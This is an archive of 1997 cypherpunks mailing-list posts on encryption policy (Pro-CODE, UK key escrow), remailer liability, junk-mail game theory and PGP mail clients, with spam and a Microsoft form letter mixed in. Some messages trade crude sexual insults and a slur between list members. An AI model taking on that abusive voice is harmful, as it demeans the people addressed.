Subject: Re: INFO: Pro-CODE testimony available now online at  democracy.net!
In-Reply-To: <199703250554.VAA22477@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970325091136.16036A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


If you want to do a side-by-side comparison, nobody's stopping you. 

The ACLU did one, didn't like what they saw all that much, but decided to
hold their noses and endorse the bill anyway. Check out their press
release from a couple weeks ago. 

-Declan


On Mon, 24 Mar 1997, jim bell wrote:

> At 02:22 PM 3/24/97 -0500, Shabbir Safdar wrote:
> 
> >The hearing was held by the Senate Commerce Committe to consider S. 377,
> >the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
> >issue of US encryption policy -- a critical issue to the Internet user
> >community.
> 
> I, and maybe a lot of other people, are still waiting for somebody to do a 
> side-by-side comparison of "Pro-Code 1997" with last year's version, the 
> original.
> 
> What has changed?  For the worse?  Why?  Who wanted it changed?  Who changed 
> it?  Are they embarrassed?
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 25 Mar 1997 10:19:45 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <V0a54D2w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970325111622.15110B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 25 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Vulis the list you need is sex pervert.

> >
> > 	Well, at least she was better than your wife.
> 
> Was your sister also better than your mother?
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 25 Mar 1997 09:20:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, April 1, 1997
Message-ID: <v03020931af5db717153b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: nh-isig@bcs1.ziplink.net, isig@signet.org, talk@web-net.org,
        discuss@tarnhelm.blu.org, dubie@tnpubs.enet.dec.com,
        scryberdave <ltcdave@scryber.com>
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, April 1, 1997
Mime-Version: 1.0
Date: Tue, 25 Mar 97 09:55:47 -0500
From: "Jerry Feldman" <gaf@zk3.dec.com>
X-Mts: smtp
Sender: owner-isig@signet.org
Precedence: bulk
Reply-To: isig@signet.org

When: Tuesday April 1, 1997 7PM
Where: Nashua, NH Public Library, 2 Court St, Nashua, NH.
Topic: Robert Hettinga, founding moderator of the Digital Commerce Society of
Boston.

The NH INTERNET SIG (Special Interest Group) welcomes you to its monthly
meeting, the first Tuesday of every month.
The next meeting will be on April 1st and will focus on the technology and
social consequences of digital commerce and financial
cryptography. Mr. Hettinga is also general chair of Financial Cryptography
1997, the world's first conference on Financial Cryptography.

However, financial cryptography, the technology which
underlies digital commerce in its most secure form, will have much more
profound implications than merely the simplification of sales and
distribution. It permits us to make anonymous *cash* transactions for
everything from a billion-dollar foriegn exchange trade to, probably, the
switching of internet packets themselves.
If this promise is kept, it could change the fundamentals of our entire
society.

Please check out Mr. Hettinga's web site:http://www.vmeng.com/rah/

This meeting promises to be fun and informative for both the technical and
non-technical computer users.

For more information contact Ken Adams at (603) 598-1823
eMail: director@nh-isig.org
For more information contact Jerry Feldman <gaf@signet.org>,
NH-ISIG meeting coordinator..
Mailing list: nh-isig@bcs1.ziplink.net
WWW:          http://www.nh-isig.org
NOTE: Empire.net is currently moving the web site to a new server.
      Please bear with us while the work is in progress. I have posted a
      more complete description and speaker bio
      at:http://www.gis.net/~gaf/hettinga.html

Directions to the Nashua Public Library (Plenty of free parking after 5PM):
>From south of Nashua:
Take Route 3 North to Nashua. Take exit 5E, Route 111 East
(Kinsley St., There is a Howard Johnson's Motel at the exit).
Follow 111 East (Kinsley St.) to the fourth set of lights and Main St. North.
Turn left onto Main St. and at the third set of lights turn right onto Temple
St. Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian Head Plaza)
into Library's metered parking lot. (Meters in force 9AM to 5PM only).

>From North of Nashua:
Take the Everett Turnpike (Rte. 3) to Exit 7-E, 101A (Amherst St.)
Follow 101A to major intersection and turn right onto Main St.
Follow Main St. and turn left at the second set of lights onto Temple St.
Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian Head Plaza)
into Library's metered parking lot. (Meters in force 9AM to 5PM only).
--
+-------------------------------------------------------------+
Jerry Feldman            gaf@SigNet.org
New Hampshire Internet SIG Meeting Coordinator
+-------------------------------------------------------------+



--
To unsubscribe from this list, send mail to majordomo@bcs1.ziplink.net
with the following text in the *body* (*not* the subject line) of the letter:
unsubscribe isig

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 13:02:30 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703251906.LAA01236@crypt.hfinney.com>
Message-ID: <33383B28.240A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> 
> Several people have noted that my posts have had duplicate "From:" lines.

> In a recent message
> where I quoted Greg Broiles, the headers  
> has From: lines both from me and Greg.

>  Apologies to those who have been bothered by this problem
> with my posts.

Hal,
  I began reading the post, thinking it was from Greg, and I had
a heart attack because I thought he was finally making sense.
  I will be suing for medical expenses.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 25 Mar 1997 13:42:51 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Tim C. May's Interpretation of the U.K. Proposal
Message-ID: <01BC393C.3A406150@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Huge Cajones Remailer <nobody@huge.cajones.com> wrote in article <5h8e8u$b3h@life.ai.mit.edu>...
> Timothy C. May wrote:
> > 
> > The U.K. may sense that, absent such "local content" laws, the market for
> > key signings, time-stamping, and other services will naturally concentrate
> > in certain markets. Longer term, the concentration may be more
> > globalized, or even in "cyberspace," but almost certainly not in Britain.
> > Nations may thus fear this flight of such services to other countries.

I think that this is not quite accurate. To begin it is necessary to understand the different relationship of the Civil Service and the executive in the UK. Unlike in the US the CiVil service is apolitical, it prepares policy advice for ministers but couched in guarded terms. It explains the advantages and disadvantages of particular  policies while avoiding conclusions. Thus it is a mistake to read too much into briefing papers.

What really count are green and white papers. Green papers are the first draft of policy and frequently involve "kite flying" exercises. A proposal to implement GAK in a green paper may equally well be intended as a signal to opponents to put their case more coherently as a positive affirmation of the policy.

The UK is currently having a general election which barring a resurgence by the Liberals the socialists will win. If you thought Bob Dole's campaign was dire watch the UK Conservatives for sheer and frequently adulterous incompetence. Ten Tory MPs have been accused of accepting bribes and the Govt manipulated the date of porogueing (ie suspending) parliament before it was disolved for the election to suppress publication of the report into the affair. Since two case have been proven beyond reasonable doubt this is a bad start to say the least.

Traditionally the socialist are far more likely to support civil liberties than the Conservatives. The Liberals have the best record but the best they can hope for is to become the opposition in place of the Tories. During the years of Tory rule left wing political organisations such as CND have been monitored by MI5. Crypto will undoubtedly have support from the far left who have frequently been the target of politically motivated surveillance.

>   Tim, at his best, interprets the U.K. laws from both a global and
> local perspective.
>   Certainly, any actions of the U.K., in particular, should be viewed
> from the lingering shadow of the British Commonwealth. The U.K., having
> ruled an Empire, is much more cognizant of the implications of how the
> structure of proposed legislation will affect the expansion of global
> aims, or the protection of indigeonous rule.

The UK has also traditionally understood cryptography policy far better than the US. During both World Wars the US managed to persue a crypto policy of quite astonishing boneheadedness. 

>   Although "local content," as Tim points out, is undeniably one
> of the major factors behind the legislation, the U.K. is also 
> undoubtedly positioning themselves to resist letting the *power*
> that comes from information *control* fall into the hands of
> others.

Its not legislation, nor even a proposal to legislate. Its one side in a discussion document. No need to panic! Instead we need to make sure we have a coherent lobbying strategy.

To effectively lobby the UK government you don't need vast amounts of cash but having a permanent office to coordinate grass roots activity is usefull. Corporations with a heavy UK involvement such as IBM and DEC would be usefull sponsors, not so much for the cash as for links to constituency MPs. 

Also note that now is a good time to press the issue. The US administrations policy on Cuba has greatly discredited it abroad. The Helms-Burton act is a clear attack on other nations sovereignty, that its primary sponsor is notorious as a racist hatemonger makes matters worse. Similarly a US attack on the computer systems of the EU during the GATT negotiations has not been forgiven. Proposals to allow the US to break secret messages in other countries are correspondingly unpopular.

	Phill
   




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 25 Mar 1997 14:08:01 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Another Interpretation of the U.K. Proposal
Message-ID: <01BC393F.C5DF4D40@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Timothy C. May <tcmay@got.net> wrote in article <5h6rmj$38q@life.ai.mit.edu>...

> The U.K. may sense that, absent such "local content" laws, the market for
> key signings, time-stamping, and other services will naturally concentrate
> in certain markets.

I think they would expect to win that battle in any case. I don't think there is a particular concern about competition except in regard to the problem of the UK legal framework being inadequate.

The UK has a major presence in finacial services and the govt. would be more concerned to keep foreign markets open to UK exports than inf\dulging in protectionism.

There may be a fear about US govt. interference however. There was considerable concern that the US regularly abused its role in COCOM to advantage US companies. UK compaines who bid for contracts with communist countries tended to face unexpected competition from US firms shortly after applying for a COCOM export license.

	Phill
  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 25 Mar 1997 14:31:07 -0800 (PST)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Why I might want a trusted third party.
Message-ID: <01BC3942.FF16CB80@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

	There have been a number of comments on the UK proposals by the DTI to introduce a legal framework for use of trusted thrid parties. I contacted some old friends to find out what the issue really was. I was surprised by the result.

	First off the proposals are not intended as a Trojan horse for the Clipper chip "or any other colonial scheme". The UK authorities have been fighting terrorists rather longer than the US and the ones they are concerned about have used encryption for a decade. My friend was somewhat concerned that the US administration may have poisoned the water preventing any sensible scheme being deployed.

	The issue of concern is not private use of encryption but corporate users. Imagine you are a security administrator for IBM or DEC. You probably don't want your employees using absolutely secure email systems that would allow them to post company secrets through your firewall. I used to administer security at a large nuclear installation with an improbable amount of Uranium to hand (several hundred tonnes). Last thing I was going to allow was encrypted communications from the secure area to the Internet.

	Companies probably don't want to have their LAN completely open to snooping either. Their sysop may be snooping for a competitor as much as for them. For this particular customer the trusted third party concept is quite a good one. They can collect large quantities of information in a manner that avoids the risk of having gathered together a large collection of en-clair sensitive material in one place. Such a company would probably prefer to have the decryption key far away from the reach of their employees, ideally the key would be stored in such a way that even the TTP didn't know who it related to.

	Basically the DTI proposal clears the way for people to offer this type of service in the UK. They are emphatically not trying to introduce a Clipper chip proposal. Unfortunately what they do propose is clearly a slippery slope to a Clipper situation. If use of TTPs became ubiquitous it might become possible to enforce their use somehow at a later date.

	I think that this is a remote possibility but one that should raise concerns. If it was merely the UK government that was involved I would have fewer concerns than the current situation. The problem with US policy is that the executive keeps making ignorant and dangerous bids for unlimited power over the Internet and the people seem to have little influence over Congress. There was a tellling episode during the PICs/CDA fiasco when one of the professional lobbyists said "now we need to collect money for the hearings". Basically the governing assumption in DC amongst lobbyists is that you buy your way into hearings with campaign donnations. Crypto has many rich supporters but they tend not to understand just how corrupt US politics are.
	

Phillip M. Hallam-Baker
Visitng Scientist
MIT Laboratory for Artificial Intelligence.
hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sitesubmit@allvip.com
Date: Tue, 25 Mar 1997 18:22:53 -0800 (PST)
To: sitesubmit@allvip.com
Subject: Your Web Site in 200 Search Engines - $49
Message-ID: <199703260215.VAA00116@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


* To Remove:  Please hit reply & type "remove" in the subject.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 25 Mar 1997 23:10:07 -0800 (PST)
To: cypherpunks@toad.com (Cypher Punks)
Subject: Re: PGP-integrated mail reader for Windoze?
Message-ID: <3.0.32.19970325230859.00742154@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 PM 3/25/97 -0600, Igor Chudov @ home wrote:
>Hello,
>
>Not being a Windows user, I wonder what do you think is the best
>mail reading program for windows 95 that has some pgp integration? 
>The mail criteria, pretty much, is ease of use and some degree of
>fool proofness.

Eudora Pro 3.0 <http://www.eudora.com/> and PGPMail <http://www.pgp.com/>,
without a shadow of a doubt. Neither is free, but you sure get your money's
worth.




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 25 Mar 1997 20:16:28 -0800 (PST)
To: cypherpunks@EINSTEIN.ssz.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <0nC_=a200YUh07u_00@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Greg Broiles <gbroiles@netbox.com> writes:
> I think there are two broad models of complaints/problems with remailers:
> 
> 1. The recipient is angry because they received a message they didn't like.
> (because it's an advertisement, or it's rude, or it's an image that their
> parents didn't like ..) 
> 
> 2. A third party is angry because the sender sent some information to the
> recipient which the third party thinks should not have been sent. (copyright,
> trademark, defamation, tortious interference with [prospective] contract,
> etc.) 
> 
> Your "contract" model (which looks like you really mean it to be a waiver of
> warranty/damages and/or an indemnification agreement) addresses (1) to the
> point of overkill, but it doesn't reach (2), because there's no contract with
> the third party, who is the party who's likely to be filing suit.
> (Indemnification by the sender might work, if you worded the contract
> correctly - but then you've got to abandon anonymity, and the value of
> indemnification from person you don't know whose assets/finances are unknown
> is pretty low.)
<snip>

Does anyone here actually know the requirements for common carrier
status? (A web search proved mostly uniformative, except that now I
know that Ohio University offers a course in CC Regualtions.) While my
intuitive notion of what a CC is does mean that ISP's are not good
CC's (ISP's want to not carry every newsgroup, want to not let people
have accounts for any old reason, etc), remailers seem like a perfect
candidate. For example, you could have a remailer that has one simple
rule: they only allow 10 messages a day from people who aren't other
anon. remailers. That way, the system isn't rejecting any traffic
"unreasonably," and gains some legal protection. If someone form, say,
a praticularly profitable religous institution calls up and says "We
belive that certain copywritten internal documets were sent through
your remailer." You say "Sorry, dude, I just pass the messages along."


I imagine that there would be problems keeping messages anonymous ir
regards to the feds, as I imagine that there would be some analogy to
phone taps, but legal protection from civilians is a step in the right
direction, and a few remailers in civilized jurisdictions would make
the feds' lives difficult.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMzii4Mkz/YzIV3P5AQFy4gMAqdL2XMwr34JoJspqkXgrUpfv77s4OwWb
S+l/AYQxQJD97eGyG9NgqglJ87tiIv9H9zzCdm3wYjA1syycQlMoI+rUQ0t/OMZz
mytZNRk3SmT2OBQ4zl2VvFfB6pqLm035
=7Ehu
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Mar 1997 20:40:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why a U.K.-style law against key-signings won't fly in the U.S.
In-Reply-To: <v03007800af5e3614935f@[207.167.93.63]>
Message-ID: <saP64D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
...
> If not, then the Constitution is a joke.

It is.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 25 Mar 1997 21:16:50 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <V0a54D2w165w@bwalk.dm.com>
Message-ID: <199703260538.XAA01225@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


The Loon again:
> snow <snow@smoke.suba.com> writes:
> > The Loon wrote:
> > 	Well, at least she was better than your wife.
> Was your sister also better than your mother?

	Wouldn't know. My mother was old school catholic, My father was 
lucky _he_ got a peice of that.

	 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 25 Mar 1997 21:43:05 -0800 (PST)
To: cypherpunks@toad.com (Cypher Punks)
Subject: PGP-integrated mail reader for Windoze?
Message-ID: <199703260539.XAA18351@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hello,

Not being a Windows user, I wonder what do you think is the best
mail reading program for windows 95 that has some pgp integration? 
The mail criteria, pretty much, is ease of use and some degree of
fool proofness.

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 25 Mar 1997 16:24:13 -0800 (PST)
To: hallam@ai.mit.edu
Subject: Re: Why I might^H^H^H^H^H *WILL NEVER* want a trusted third party.
In-Reply-To: <01BC3942.FF16CB80@crecy.ai.mit.edu>
Message-ID: <199703260019.AAA01978@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Phillip Hallam-Baker <hallam@ai.mit.edu> writes:
> 	Companies probably don't want to have their LAN completely open to 
> snooping either. Their sysop may be snooping for a competitor as much as 
> for them. For this particular customer the trusted third party concept 
> is quite a good one. They can collect large quantities of information in 
> a manner that avoids the risk of having gathered together a large 
> collection of en-clair sensitive material in one place. Such a company 
> would probably prefer to have the decryption key far away from the reach 
> of their employees, ideally the key would be stored in such a way that 
> even the TTP didn't know who it related to.

Best argument I've seen for ombudsman key-escrow yet.  And
yet... surely it would be perfectly feasible to have the commercial
key escrow key system set up with the n of m directors and company
lawyer holding the key?  If they get suspicious they can check on
someone, and the rest of the time, no one can read anyone else's
messages.

In any case, if you were able to find an example of a company who
wanted this unusual setup, could they not draw up a contract with a
legal firm, or computer security company to achieve something similar.

The real problem I have with the DTI document is in `facilitating
ecommerce' or whatever the euphamism is for the government bid to have
real time access to user keys, they are also outlawing use of
unlicensed TTPs.  From the document it seems that activities which
require a TTP license are key server functionality, CAs (even for only
signature keys), time-stamping services, plus numerous other
possibilities, by entities which are not licensed TTPs.

Then they go on to say they want the market to decide on whether
government licensed TTPs are the best solution.  After outlawing most
other possibilities, and putting legal obstacles in the way of a fast
moving technological field.

> 	Basically the DTI proposal clears the way for people to offer
> this type of service in the UK. 

A lot of the proposal discusses outlawing non-licensed alternatives,
and timeliness of GAK (government access to keys), surely the way is
already clear for encryption companies to offer what they hell they
want to offer, to companies who are free to demand what they want.

> They are emphatically not trying to introduce a Clipper chip
> proposal. 

How do you describe all the `key recovery', and restrictions on TTPs
being interoperable and joining the network if they don't provide GAK?

Sounds _exactly_ like a clipper job to me.

> Unfortunately what they do propose is clearly a slippery slope to a
> Clipper situation. If use of TTPs became ubiquitous it might become
> possible to enforce their use somehow at a later date.

I'm sure this is the plan.  CESG is trying to push the CASM
architecture for TTPs (CASM is based of the Royal Holloway proposal).
CESG already has some `customers' who are legally obliged to use their
recommendations: central government.  The Health service had to put up
much resistance to avoid `the offer you can't refuse' of using Red
Pike in Health Service networks.  (Why Red Pike anyway?  It's a secret
algorithm, which is rumoured to be a modification of RC5, which itself
is a very new and relatively untested cipher.  What's wrong with 3DES?)

They plan to work their way out through peripheral government agencies
and authorities through the requirement to communicate with central
government, and the tendency to go with the government standard and
then move on to the public through the services the DTI is discussing
providing to the public.  Offering the public the opportunity to
interact electronically with both local and central government.

Along with legislation to make digital signatures binding in law only
when signed by keys held in a TTP licensed key server, certified by a
TTP licensed CA, they probably figure they can achieve de-facto
status, while quietly outlawing enough functionality to make
competition possible.  (For example running a non-TTP licensed
commercial CA or key servers would be a criminal offense.)

That's their game plan as I understand it.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Wed, 26 Mar 1997 01:03:34 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: game theoretic analysis of junk mail
Message-ID: <Pine.SUN.3.96.970326004814.1233A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


The junk mail problem (also known as spam) is well known to just about
everyone who receives e-mail.  There has also been many solutions
proposed.  Noticeably, the idea of having e-mail senders include ecash
payments with their mail has come up several times (I believe as the
result of independent discovery).  In order to evaluate the effectiveness
of this proposal, I will construct a game theoretic model of the
interaction between the sender and the recipient of an e-mail, and compare
the solutions with and without the ecash payment option.

The Model

Players: A - Sender, B - Recipient

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    B: Read mail?
               /   \
           no /     \ yes
             /       \
         (0,0)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (0,-c)  (s,r-c)

Assumptions: 
- sending the e-mail is costless to the sender
- c (the cost of reading a piece of e-mail) is known to both the sender
and the recipient.  
- s and r (the profit of the proposed deal to sender and receiver,
respectively, both assumed to be non-negative) are distributed according
to the probability density function f(s,r).  The sender knows s and r
before sending the e-mail, but the receiver does not learn s and r until
he reads the e-mail. 

Solution of the game:
To solve this game, we apply the method of backward induction.  In the
last stage of the game, B decides whether to accept A's offer.  Clearly he
always accepts since r-c >= -c.  Therefore, in the next to last stage, B
knows that the expected payoff if he reads the mail is the expected value
of r-c, E(r)-c, so he will read if E(r)-c > 0.  Finally, we come to A's
decision.  If A knows that B will not read, then he is indifferent between
sending and not sending.  However, if we assume that there is a small
probability that B will read and accept irrationally, then we can conclude
that A always sends the mail.

Conclusions

To summerize, if E(r) > c, B always reads the mail and accepts the offer,
otherwise B never reads.  A always sends regardless of the value of the
parameters.  Now we can see the outcome is not socially optimal.  For
example if E(r) < c, both A and B would be better off if A only sends when
r>c.

The above model is not very realistic.  The most unrealistic assumption is
that the sender knows the exactly value of his offer to the recipient.
However I believe the model captures the essence of the junk mail problem.
Next time I will analyze the proposed solution of adding the option of a
pre-payment.  For those who want to try it themselves, I give the game
tree here:

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide pre-payment p
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-p,p)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-p,p-c)  (s,r-c)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 23:28:40 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3338CFDE.7A6F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> Here's one example for the problem I've been having:

> : >  A million monkeys operating under the pseudonym
> : >  "Thomas M.  McGhan" <tmcghan@gill-simpson.com> typed:
> :
> : actually, there are only 5737 of us...

> Do these appear to other people the same as above?

  I realized, recently, that the header problems could probably be
resolved in a short period of time by consulting the person who has had
to deal with this type of thing for many years, having hosted the
CypherPunks list for quite some time.
  I emailed John Gilmore, asking his advice, and he informed me that
he has run into this problem before, and would be happy to provide the
solution, on one condition.

  He wants one million monkeys to send 5737 messages to the list, saying
"John Gilmore is NOT a cocksucker."
  Then, he will provide the solution, and not a moment before.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: " klimt  gustav" <gggklimt@hotmail.com>
Date: Wed, 26 Mar 1997 01:44:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: A new classical cipher
Message-ID: <199703260943.BAA12645@f4.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


If answer please mail to : alexandermail@hotmail.com


A new classical cipher by Alexandre PUKALL :


This crypto is in Normal Pukall's Cipher mode 1 ( NPC mode 1 )
Try to break it !

ORISI / DERME / LOEEE / RNDNO / EEPRA / ITSUL / SEUOC / ELEDE /
OSEGE / IRUEU / LTUUA / LEARP / RACLO / ROPRA / IETST / AUDEN /
EUSMO / ROTTN / NNREF / NLEID / FEERE / EISNE / ROTO /

This crypto  is in Enhanced Pukall's Cipher mode 1 ( EPC mode 1
)
Try to break it !

REHUA / AVRLL / CELYU / CAICC / ATNOP / TGBEX / RMETE / LLSDO /
SEEQE / MACVD / EDFVE / ESENE / MLMPL / EICPU / TEIEM / NCPAP /
ELEHT / OPNRU / CAUEA / DFSNS / REANC / CCDLE / RISEU / USESA /
EIDTS / MLTOA / MIOGF / ULORD / STHUA / LEUSU / CANIL / AOMUP /
IEALS / BNXLD / RIUEI / EECOE / EITDN / GCLDE / JENKE / GOEAP /
ESLTD / IEZOR / SEELM / AO /









---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <SBN@Microsoft.com>
Date: Wed, 26 Mar 1997 02:40:15 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Your Site Builder Network Membership!
Message-ID: <c=US%a=_%p=HyperRadix%l=SOPHIA-970326103802Z-15110@sophia.hyperradix.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Site Builder Network  - Guest Membership.

We went to your site(s) and were unable to find the Microsoft Internet
Explorer logo and link which would qualify you for level 1, or an
ActiveX control which would qualify you for Level 2.  You are currently
a guest member and have access to the Guest Download Area. Your ID and
password are listed below for your convenience.

Do you think you qualify for Level 1 or 2?  Would you like to?  Your
registration may have failed due to any of the following reasons:

You did not register the exact URL where
the IE logo and/or the ActiveX control are located.
====================================================
Our automated system can only check pages, not entire sites.  Please go
back to http://www.microsoft.com/sbnmember/apply/apply.asp , click
'upgrade your membership' then enter your ID and password (which is
listed below).  This will bring up your registration information.  Be
sure to list the exact URL where the IE logo/link is located as well as
the exact URL the ActiveX control is located (if applicable), and we
will check your site again.  In the meantime, enjoy your Guest
Membership, and we will notify you of your membership status within 5
days after you apply for an upgrade.

You are displaying the IE logo, but it is not linked
to anything, or it is linked incorrectly.
=====================================================
If you are displaying the Internet Explorer logo, please return to your
site and check the link.  When you click the logo, does it send you to
http://www.microsoft.com/ie/ ?  When you are ready to have your site
checked again, please go back to
http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your
membership' then enter your ID and password (which are listed below). 
This will bring up your registration information.  Be sure to list the
exact URL where the IE logo/link is and we will check your site again. 
In the meantime, enjoy your Guest Membership, and we will notify you of
your membership status within 5 days after you apply for an upgrade.

You have an intranet or secured site.
======================================
Please send an .htm page, or your html code as a text file to
SBN@microsoft.com and we will check your site that way.  Be sure to
delete any confidential or sensitive information.  Please send your ID
and password in the email (Both are listed below.) so we can upgrade
your membership more quickly.  Please note that it could take up to 10
days due to the manual upgrade.

You think you have done everything by the book and
can't understand why your registration failed.
===================================================
Perhaps the connection failed due to your server being down or heavy
internet traffic.  Or there may be a typographical error in your
registered URL's.  Please go back to
http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your
membership' then enter your ID and password (which are listed below). 
This will bring up your registration information.  Be sure to list the
exact URL where the IE logo/link is as well as the exact URL the ActiveX
control is located (if applicable), and we will check your site again. 
In the meantime, enjoy your Guest Membership, and we will notify you of
your membership status within 5 days after you apply for an upgrade.

You are using neither the IE logo or an ActiveX
control, but would like to upgrade your membership.
====================================================
To find out how to qualify for Level 1 and/or Level 2, please go to
http://www.microsoft.com/sbnmember/levels/levels.asp.  You will find
detailed instructions on qualifying your site for Levels 1 and 2.  When
you are ready to have your sites re-checked, please go back to
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membership' and follow the instructions.


Once again - welcome to Site Builder Network, and enjoy your Guest
Membershipbenefits.

The Microsoft Site Builder Network Team


